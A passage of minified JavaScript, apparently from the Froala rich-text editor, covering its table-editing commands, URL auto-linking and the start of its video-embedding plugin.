> td").length)&&l.remove()}y(0,a.length-1,0,a[0].length-1,e),0<o.min_j?w.selection.setAtEnd(a[o.min_i][o.min_j-1]):w.selection.setAtEnd(a[o.min_i][0]),w.selection.restore(),w.popups.hide("table.edit"),e.find("th, td").each(function(){(r=_(this)).data("old-width")&&(r.css("width",(100*r.data("old-width")/i).toFixed(4)+"%"),r.removeData("old-width"))})}}},mergeCells:function ce(){if(1<te().length&&(0===w.$el.find("th.fr-selected-cell").length||0===w.$el.find("td.fr-selected-cell").length)){R();var e,t,n=O(S());if(null==n)return;var r=w.$el.find(".fr-selected-cell"),a=_(r[0]),o=a.parent().find(".fr-selected-cell"),i=a.closest("table"),s=a.html(),l=0;for(e=0;e<o.length;e++)l+=_(o[e]).outerWidth();for(a.css("width",Math.min(100,l/i.outerWidth()*100).toFixed(4)+"%"),n.min_j<n.max_j&&a.attr("colspan",n.max_j-n.min_j+1),n.min_i<n.max_i&&a.attr("rowspan",n.max_i-n.min_i+1),e=1;e<r.length;e++)"<br>"!=(t=_(r[e])).html()&&""!==t.html()&&(s+="<br>".concat(t.html())),t.remove();a.html(s),w.selection.setAtEnd(a.get(0)),w.selection.restore(),w.toolbar.enable(),C(n.min_i,n.max_i,i);var c=i.find("tr:empty");for(e=c.length-1;0<=e;e--)_(c[e]).remove();b(n.min_j,n.max_j,i),g()}},splitCellVertically:function de(){if(1==te().length){var e=w.$el.find(".fr-selected-cell"),t=parseInt(e.attr("colspan"),10)||1,n=e.parent().outerWidth(),r=e.outerWidth(),a=e.clone().html("<br>"),o=S(),i=k(e.get(0),o);if(1<t){var s=Math.ceil(t/2);r=q(i.col,i.col+s-1,o)/n*100;var l=q(i.col+s,i.col+t-1,o)/n*100;1<s?e.attr("colspan",s):e.removeAttr("colspan"),1<t-s?a.attr("colspan",t-s):a.removeAttr("colspan"),e.css("width",r.toFixed(4)+"%"),a.css("width",l.toFixed(4)+"%")}else{var c;for(c=0;c<o.length;c++)if(0===c||o[c][i.col]!=o[c-1][i.col]){var d=_(o[c][i.col]);if(!d.is(e)){var f=(parseInt(d.attr("colspan"),10)||1)+1;d.attr("colspan",f)}}r=r/n*100/2,e.css("width","".concat(r.toFixed(4),"%")),a.css("width","".concat(r.toFixed(4),"%"))}e[0].parentNode&&e[0].insertAdjacentElement("afterend",a[0]),N(),w.popups.hide("table.edit")}},splitCellHorizontally:function fe(){if(1==te().length){var e=w.$el.find(".fr-selected-cell"),t=e.parent(),n=e.closest("table"),r=parseInt(e.attr("rowspan"),10),a=S(),o=k(e.get(0),a),i=e.clone().html("<br>");if(1<r){var s=Math.ceil(r/2);1<s?e.attr("rowspan",s):e.removeAttr("rowspan"),1<r-s?i.attr("rowspan",r-s):i.removeAttr("rowspan");for(var l=o.row+s,c=0===o.col?o.col:o.col-1;0<=c&&(a[l][c]==a[l][c-1]||0<l&&a[l][c]==a[l-1][c]);)c--;-1==c?_(n.find("tr").not(n.find("> table tr")).get(l)).prepend(i):_(a[l][c])[0].parentNode&&_(a[l][c])[0].insertAdjacentElement("afterend",i[0])}else{var d,f=_(document.createElement("tr")).append(i);for(d=0;d<a[0].length;d++)if(0===d||a[o.row][d]!=a[o.row][d-1]){var p=_(a[o.row][d]);p.is(e)||p.attr("rowspan",(parseInt(p.attr("rowspan"),10)||1)+1)}t[0].parentNode&&t[0].insertAdjacentElement("afterend",f[0])}N(),w.popups.hide("table.edit")}},addHeader:function pe(){var e=ne();if(0<e.length&&0===e.find("> th").length){var t,n="<thead><tr>",r=0;for(r=e.find("tr").first().find("> th").length,e.find("tr").first().find("> td").each(function(){var e=_(this);r+=parseInt(e.attr("colspan"),10)||1}),t=0;t<r;t++)n+="<th><br></th>";n+="</tr></thead>",e.prepend(n),g()}},addFooter:function ue(){var e=ne();if(0<e.length&&0===e.find("tfoot").length){var t,n="<tfoot><tr>",r=0,a="> td";for(0<e.find("thead").length&&(a="> th"),e.find("tr").first().find(a).each(function(){var e=_(this);r+=parseInt(e.attr("colspan"),10)||1}),t=0;t<r;t++)n+="<td><br></td>";n+="</tr></tfoot>",e.append(n),g()}},removeHeader:function he(){var e=ne(),t=e.find("> thead");if(0<(t=_(t)).length)if(0===e.find("tbody tr").length)h();else if(t.remove(),0<te().length)g();else{w.popups.hide("table.edit");var n=e.find("tbody tr").first().find("td").first().get(0);n&&(w.selection.setAtEnd(n),w.selection.restore())}},removeFooter:function ge(){var e=ne(),t=e.find("tfoot");if(0<t.length)if(0===e.find("tbody tr").length)h();else if(t.remove(),0<te().length)g();else{w.popups.hide("table.edit");var n=e.find("tbody tr").first().find("td").first().get(0);n&&(w.selection.setAtEnd(n),w.selection.restore())}},setBackground:t,showInsertPopup:function me(){var e=w.$tb.find('.fr-command[data-cmd="insertTable"]'),t=w.popups.get("table.insert");if(t||(t=d()),!t.hasClass("fr-active")){w.popups.refresh("table.insert"),w.popups.setContainer("table.insert",w.$tb);var n=w.button.getPosition(e),r=n.left,a=n.top;w.popups.show("table.insert",r,a,e.outerHeight())}},showEditPopup:g,showColorsPopup:s,back:function ve(){0<te().length?g():(w.popups.hide("table.insert"),w.toolbar.showInline())},verticalAlign:function be(e){w.$el.find(".fr-selected-cell").css("vertical-align",e)},horizontalAlign:function Ce(e){w.$el.find(".fr-selected-cell").css("text-align",e)},applyStyle:function Ee(e,t,n,r){if(0<t.length){if(w.opts.useClasses||("TABLE"===t.get(0).tagName?function o(e,t){var n=e.childNodes;if(0<n.length)for(var r=0;r<n.length;r++)"TD"===n[r].tagName?"fr-dashed-borders"===t||"fr-highlighted"===t||"fr-thick"===t?T(n[r]):"fr-alternate-rows"===t&&n[r].style.removeProperty("background-color"):o(n[r],t)}(t.get(0),e):T(t.get(0))),!n){var a=Object.keys(r);a.splice(a.indexOf(e),1),t.removeClass(a.join(" "))}t.toggleClass(e)}},selectedTable:ne,selectedCells:te,customColor:function ye(){var e=w.popups.get("table.colors").find(".fr-table-colors-hex-layer input");e.length&&t(e.val())},selectCells:D}},kt.DefineIcon("insertTable",{NAME:"table",SVG_KEY:"insertTable"}),kt.RegisterCommand("insertTable",{title:"Insert Table",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("table.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("table.insert")):this.table.showInsertPopup()},plugin:"table"}),kt.RegisterCommand("tableInsert",{callback:function(e,t,n){this.table.insert(t,n),this.popups.hide("table.insert")}}),kt.DefineIcon("tableHeader",{NAME:"header",FA5NAME:"heading",SVG_KEY:"tableHeader"}),kt.RegisterCommand("tableHeader",{title:"Table Header",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableHeader"]').hasClass("fr-active")?this.table.removeHeader():this.table.addHeader()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("> thead").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),kt.DefineIcon("tableFooter",{NAME:"table",FA5NAME:"table",SVG_KEY:"tableFooter"}),kt.RegisterCommand("tableFooter",{title:"Table Footer",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableFooter"]').hasClass("fr-active")?this.table.removeFooter():this.table.addFooter()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("tfoot").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),kt.DefineIcon("tableRows",{NAME:"bars",SVG_KEY:"row"}),kt.RegisterCommand("tableRows",{type:"dropdown",focus:!1,title:"Row",options:{above:"Insert row above",below:"Insert row below","delete":"Delete row"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.tableRows.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableRows" data-param1="'+n+'" title="'+this.language.translate(t[n])+'">'+this.language.translate(t[n])+"</a></li>");return e+="</ul>"},callback:function(e,t){"above"==t||"below"==t?this.table.insertRow(t):this.table.deleteRow()}}),kt.DefineIcon("tableColumns",{NAME:"bars fa-rotate-90",SVG_KEY:"columns"}),kt.RegisterCommand("tableColumns",{type:"dropdown",focus:!1,title:"Column",options:{before:"Insert column before",after:"Insert column after","delete":"Delete column"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.tableColumns.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableColumns" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"before"==t||"after"==t?this.table.insertColumn(t):this.table.deleteColumn()}}),kt.DefineIcon("tableCells",{NAME:"square-o",FA5NAME:"square",SVG_KEY:"cellOptions"}),kt.RegisterCommand("tableCells",{type:"dropdown",focus:!1,title:"Cell",options:{merge:"Merge cells","vertical-split":"Vertical split","horizontal-split":"Horizontal split"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.tableCells.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCells" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"merge"==t?this.table.mergeCells():"vertical-split"==t?this.table.splitCellVertically():this.table.splitCellHorizontally()},refreshOnShow:function(e,t){1<this.$el.find(".fr-selected-cell").length?(t.find('a[data-param1="vertical-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="horizontal-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="merge"]').removeClass("fr-disabled").attr("aria-disabled",!1)):(t.find('a[data-param1="merge"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="vertical-split"]').removeClass("fr-disabled").attr("aria-disabled",!1),t.find('a[data-param1="horizontal-split"]').removeClass("fr-disabled").attr("aria-disabled",!1))}}),kt.DefineIcon("tableRemove",{NAME:"trash",SVG_KEY:"removeTable"}),kt.RegisterCommand("tableRemove",{title:"Remove Table",focus:!1,callback:function(){this.table.remove()}}),kt.DefineIcon("tableStyle",{NAME:"paint-brush",SVG_KEY:"tableStyle"}),kt.RegisterCommand("tableStyle",{title:"Table Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableStyle" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell").closest("table"),this.opts.tableMultipleStyles,this.opts.tableStyles)},refreshOnShow:function(e,t){var n=this.$,r=this.$el.find(".fr-selected-cell").closest("table");r&&t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=r.hasClass(e);n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),kt.DefineIcon("tableCellBackground",{NAME:"tint",SVG_KEY:"cellBackground"}),kt.RegisterCommand("tableCellBackground",{title:"Cell Background",focus:!1,popup:!0,callback:function(){this.table.showColorsPopup()}}),kt.RegisterCommand("tableCellBackgroundColor",{undo:!0,focus:!1,callback:function(e,t){this.table.setBackground(t)}}),kt.DefineIcon("tableBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("tableBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.table.back()},refresh:function(e){0!==this.table.selectedCells().length||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),kt.DefineIcon("tableCellVerticalAlign",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"verticalAlignMiddle"}),kt.RegisterCommand("tableCellVerticalAlign",{type:"dropdown",focus:!1,title:"Vertical Align",options:{Top:"Align Top",Middle:"Align Middle",Bottom:"Align Bottom"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.tableCellVerticalAlign.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellVerticalAlign" data-param1="'.concat(n.toLowerCase(),'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(n),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.verticalAlign(t)},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.$el.find(".fr-selected-cell").css("vertical-align")+'"]').addClass("fr-active").attr("aria-selected",!0)}}),kt.DefineIcon("tableCellHorizontalAlign",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),kt.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),kt.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),kt.RegisterCommand("tableCellHorizontalAlign",{type:"dropdown",focus:!1,title:"Horizontal Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.tableCellHorizontalAlign.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="tableCellHorizontalAlign" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.icon.create("align-".concat(n)),'<span class="fr-sr-only">').concat(this.language.translate(t[n]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.table.horizontalAlign(t)},refresh:function(e){var t=this.table.selectedCells(),n=this.$;t.length&&e.find("> *").first().replaceWith(this.icon.create("align-".concat(this.helpers.getAlignment(n(t[0])))))},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.helpers.getAlignment(this.$el.find(".fr-selected-cell").first())+'"]').addClass("fr-active").attr("aria-selected",!0)}}),kt.DefineIcon("tableCellStyle",{NAME:"magic",SVG_KEY:"cellStyle"}),kt.RegisterCommand("tableCellStyle",{title:"Cell Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableCellStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellStyle" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell"),this.opts.tableCellMultipleStyles,this.opts.tableCellStyles)},refreshOnShow:function(e,t){var n=this.$,r=this.$el.find(".fr-selected-cell").first();r&&t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=r.hasClass(e);n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),kt.RegisterCommand("tableCellBackgroundCustomColor",{title:"OK",undo:!0,callback:function(){this.table.customColor()}}),kt.DefineIcon("tableColorRemove",{NAME:"eraser",SVG_KEY:"remove"}),kt.URLRegEx="(^| |\\u00A0)(".concat(kt.LinkRegEx,"|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\\.[a-z0-9+-_]{1,}))$"),kt.PLUGINS.url=function(f){var p=f.$,o=null;function t(e,t,n){for(var r="";n.length&&"."==n[n.length-1];)r+=".",n=n.substring(0,n.length-1);var a=n;if(f.opts.linkConvertEmailAddress)f.helpers.isEmail(a)&&!/^mailto:.*/i.test(a)&&(a="mailto:".concat(a));else if(f.helpers.isEmail(a))return t+n;return/^((http|https|ftp|ftps|mailto|tel|sms|notes|data)\:)/i.test(a)||(a="//".concat(a)),(t||"")+"<a".concat(f.opts.linkAlwaysBlank?' target="_blank"':"").concat(o?' rel="'.concat(o,'"'):"",' data-fr-linked="true" href="').concat(a,'">').concat(n.replace(/&/g,"&").replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">"),"</a>").concat(r)}var u=function u(){return new RegExp(kt.URLRegEx,"gi")};function h(e){return f.opts.linkAlwaysNoFollow&&(o="nofollow"),f.opts.linkAlwaysBlank&&(f.opts.linkNoOpener&&(o?o+=" noopener":o="noopener"),f.opts.linkNoReferrer&&(o?o+=" noreferrer":o="noreferrer")),e.replace(u(),t)}function g(e){var t=e.split(" ");return t[t.length-1]}function n(){var e=f.selection.ranges(0),t=e.startContainer;if(t.nodeType!==Node.TEXT_NODE)return!1;if(!t||e.startOffset!==(t.textContent||"").length){f.markers.insert();var n=f.$el.find(".fr-marker"),r=t.textContent.match(/(^| |\u00A0)(((([a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})(\.(com|net|org|edu|mil|gov|co|biz|info|me|dev)))|((ftp|http|https):\/\/[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})|(www\.[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}\.[a-z0-9-]{2,24})|((ftp|http|https):\/\/[\u0021-\uffff]{1,}@[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}))((:[0-9]{1,5})|)(((\/|\?|#)[a-z\u00a1-\uffff0-9@?\|!^=%&\/~+#-\'*-_{}]*)|())|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\.[a-z0-9+-_]{1,}))$/gi);if(n.remove(),!r)return!1}if(function d(e){return!!e&&("A"===e.tagName||!(!e.parentNode||e.parentNode==f.el)&&d(e.parentNode))}(t))return!1;if(u().test(g(t.textContent))){var a,o=t.textContent.length;if(0<o&&","===t.textContent.charAt(o-1)){p(t).before(h(t.textContent.substring(0,o-1))),(a=p(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.textContent=",";var i=f.win.getSelection().getRangeAt(0);i.setStart(t,1),i.setEnd(t,1)}else p(t).before(h(t.textContent)),(a=p(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.parentNode.removeChild(t);f.events.trigger("url.linked",[a.get(0)])}else if(t.textContent.split(" ").length<=2&&t.previousSibling&&"A"===t.previousSibling.tagName){var s=t.previousSibling.innerText+t.textContent,l=t.textContent.length;if(u().test(g(s))&&","!==t.textContent.charAt(l-1)){var c=(new DOMParser).parseFromString(h(s),"text/html").body.childNodes;t.parentNode.replaceChild(c[0],t.previousSibling),c.length&&p(t).before(c[0]),t.parentNode.removeChild(t)}}}return{_init:function e(){f.events.on("keypress",function(e){!f.selection.isCollapsed()||")"!=e.key&&"("!=e.key||n()},!0),f.events.on("keydown",function(e){var t=e.which;!f.selection.isCollapsed()||t!=kt.KEYCODE.ENTER&&t!=kt.KEYCODE.SPACE||n()},!0),f.events.on("paste.beforeCleanup",function(e){if(f.helpers.isURL(e)&&!f.$el[0].getAttribute("plainpaste")){var t=null;return f.opts.linkAlwaysBlank&&(f.opts.linkNoOpener&&(t?t+=" noopener":t="noopener"),f.opts.linkNoReferrer&&(t?t+=" noreferrer":t="noreferrer")),"<a".concat(f.opts.linkAlwaysBlank?' target="_blank"':"").concat(t?' rel="'.concat(t,'"'):"",' href="').concat(e,'" >').concat(e,"</a>")}if(f.$el[0].getAttribute("plainpaste"))return function n(e){if("string"==typeof e)return(e=e.replace(/&/g,"&")).replace(/(?:(?:https?|ftp|file):\/\/|www\.|ftp\.)(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[-A-Z0-9+&@#\/%=~_|$?!:,.])*(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[A-Z0-9+&@#\/%=~_|$])/gim,h).replace(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/gim,h)}(e)})}}},Object.assign(kt.POPUP_TEMPLATES,{"video.insert":"[_BUTTONS_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_LAYER_][_PROGRESS_BAR_]","video.edit":"[_BUTTONS_]","video.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(kt.DEFAULTS,{videoAllowedTypes:["mp4","webm","ogg","mp3","mpeg","url"],videoAllowedProviders:[".*"],videoDefaultAlign:"center",videoDefaultDisplay:"block",videoDefaultWidth:600,videoEditButtons:["videoReplace","videoRemove","videoDisplay","videoAlign","videoSize","autoplay"],videoInsertButtons:["videoBack","|","videoByURL","videoEmbed","videoUpload"],videoMaxSize:52428800,videoMove:!0,videoResize:!0,videoResponsive:!1,videoSizeButtons:["videoBack","|"],videoSplitHTML:!1,videoTextNear:!0,videoUpload:!0,videoUploadMethod:"POST",videoUploadParam:"file",videoUploadParams:{},videoUploadToS3:!1,videoUploadToAzure:!1,videoUploadURL:null}),kt.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\/?((shorts\/)|(v=))?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/|shorts\/)?([0-9a-zA-Z_\-]+)(.*)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" src="{url}&wmode=opaque&rel=0" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],kt.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,kt.PLUGINS.video=function(E){var s,d,f,y,r,n,L=E.$,T="https://i.froala.com/upload",p=2,u=3,h=4,w=5,A=6,a={};function g(){var e=E.popups.get("video.insert");e.find(".fr-video-by-url-layer input").val("").trigger("change");var t=e.find(".fr-video-embed-layer textarea");t.val("").trigger("change"),(t=e.find(".fr-video-upload-layer input")).val("").trigger("change")}function o(){var e=E.popups.get("video.edit");if(e||(e=function i(){var e="";if(0<E.opts.videoEditButtons.length){E.opts.videoResponsive&&(-1<E.opts.videoEditButtons.indexOf("videoSize")&&E.opts.videoEditButtons.splice(E.opts.videoEditButtons.indexOf("videoSize"),1),-1<E.opts.videoEditButtons.indexOf("videoDisplay")&&E.opts.videoEditButtons.splice(E.opts.videoEditButtons.indexOf("videoDisplay"),1),-1<E.opts.videoEditButtons.indexOf("videoAlign")&&E.opts.videoEditButtons.splice(E.opts.videoEditButtons.indexOf("videoAlign"),1));var t={buttons:e+='<div class="fr-buttons"> \n '.concat(E.button.buildList(E.opts.videoEditButtons)," \n </div>")},n=E.popups.create("video.edit",t);return E.events.$on(E.$wp,"scroll.video-edit",function(){y&&E.popups.isVisible("video.edit")&&(E.events.disableBlur(),c(y))}),n}return!1}()),e){E.popups.setContainer("video.edit",E.$sc),E.popups.refresh("video.edit");var t=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video")),n=t.offset().left+t.outerWidth()/2,r=t.offset().top+t.outerHeight(),a=t.get(0).src?t.get(0).src:t.get(0).currentSrc,o=!(!(a=(a=a.split("."))[a.length-1]).includes("pdf")&&!a.includes("txt"));t.hasClass("fr-file")||o||y.find("audio").get(0)?(document.getElementById("autoplay-".concat(E.id))&&(document.getElementById("autoplay-".concat(E.id)).style.display="none"),document.getElementById("videoReplace-".concat(E.id))&&(document.getElementById("videoReplace-".concat(E.id)).style.display="none")):(document.getElementById("autoplay-".concat(E.id))&&(document.getElementById("autoplay-".concat(E.id)).style.display=""),document.getElementById("videoReplace-".concat(E.id))&&(document.getElementById("videoReplace-".concat(E.id)).style.display="")),E.popups.show("video.edit",n,r,t.outerHeight(),!0)}}function i(e){if(e)return E.popups.onRefresh("video.insert",g),E.popups.onHide("video.insert",X),!0;var t="";E.opts.videoUpload||-1===E.opts.videoInsertButtons.indexOf("videoUpload")||E.opts.videoInsertButtons.splice(E.opts.videoInsertButtons.indexOf("videoUpload"),1);var n=E.button.buildList(E.opts.videoInsertButtons);""!==n&&(t='<div class="fr-buttons">'+n+"</div>");var r,a="",o=E.opts.videoInsertButtons.indexOf("videoUpload"),i=E.opts.videoInsertButtons.indexOf("videoByURL"),s=E.opts.videoInsertButtons.indexOf("videoEmbed");if(0<=i){r=" fr-active",(o<i&&0<=o||s<i&&0<=s)&&(r="");a='<div class="fr-video-by-url-layer fr-layer'.concat(r,'" id="fr-video-by-url-layer-').concat(E.id,'"><div class="fr-input-line"><input id="fr-video-by-url-layer-text-').concat(E.id,'" type="text" placeholder="').concat(E.language.translate("Paste in a video URL"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><span style=\'float:left\'><div class="fr-checkbox-line fr-autoplay-margin"><span class="fr-checkbox"> <input id=\'videoPluginAutoplay\' data-checked="_blank" type="checkbox"> <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span> <label id="fr-label-target-').concat(E.id,'">Autoplay</label></div> </span><button type="button" class="fr-command fr-submit" data-cmd="videoInsertByURL" tabIndex="2" role="button">').concat(E.language.translate("Insert"),"</button></div></div>")}var l="";0<=s&&(r=" fr-active",(o<s&&0<=o||i<s&&0<=i)&&(r=""),l='<div class="fr-video-embed-layer fr-layer'.concat(r,'" id="fr-video-embed-layer-').concat(E.id,'"><div class="fr-input-line"><textarea id="fr-video-embed-layer-text').concat(E.id,'" type="text" placeholder="').concat(E.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoInsertEmbed" tabIndex="2" role="button">').concat(E.language.translate("Insert"),"</button></div></div>"));var c="";0<=o&&(r=" fr-active",(s<o&&0<=s||i<o&&0<=i)&&(r=""),c='<div class="fr-video-upload-layer fr-layer'.concat(r,'" id="fr-video-upload-layer-').concat(E.id,'"><strong>').concat(E.language.translate("Drop video"),"</strong><br>(").concat(E.language.translate("or click"),')<div class="fr-form"><input type="file" accept="video/').concat(E.opts.videoAllowedTypes.join(", video/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-video-upload-layer-').concat(E.id,'" role="button"></div></div>'));var d={buttons:t,by_url_layer:a,embed_layer:l,upload_layer:c,progress_bar:'<div class="fr-video-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="videoDismissError" tabIndex="2" role="button">OK</button></div></div>'},f=E.popups.create("video.insert",d);return function p(r){E.events.$on(r,"dragover dragenter",".fr-video-upload-layer",function(){return L(this).addClass("fr-drop"),!1},!0),E.events.$on(r,"dragleave dragend",".fr-video-upload-layer",function(){return L(this).removeClass("fr-drop"),!1},!0),E.events.$on(r,"drop",".fr-video-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),L(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var n=r.data("instance")||E;n.events.disableBlur(),n.video.upload(t.files),n.events.enableBlur()}},!0),E.helpers.isIOS()&&E.events.$on(r,"touchstart",'.fr-video-upload-layer input[type="file"]',function(){L(this).trigger("click")},!0);E.events.$on(r,"change",'.fr-video-upload-layer input[type="file"]',function(){if(this.files){var 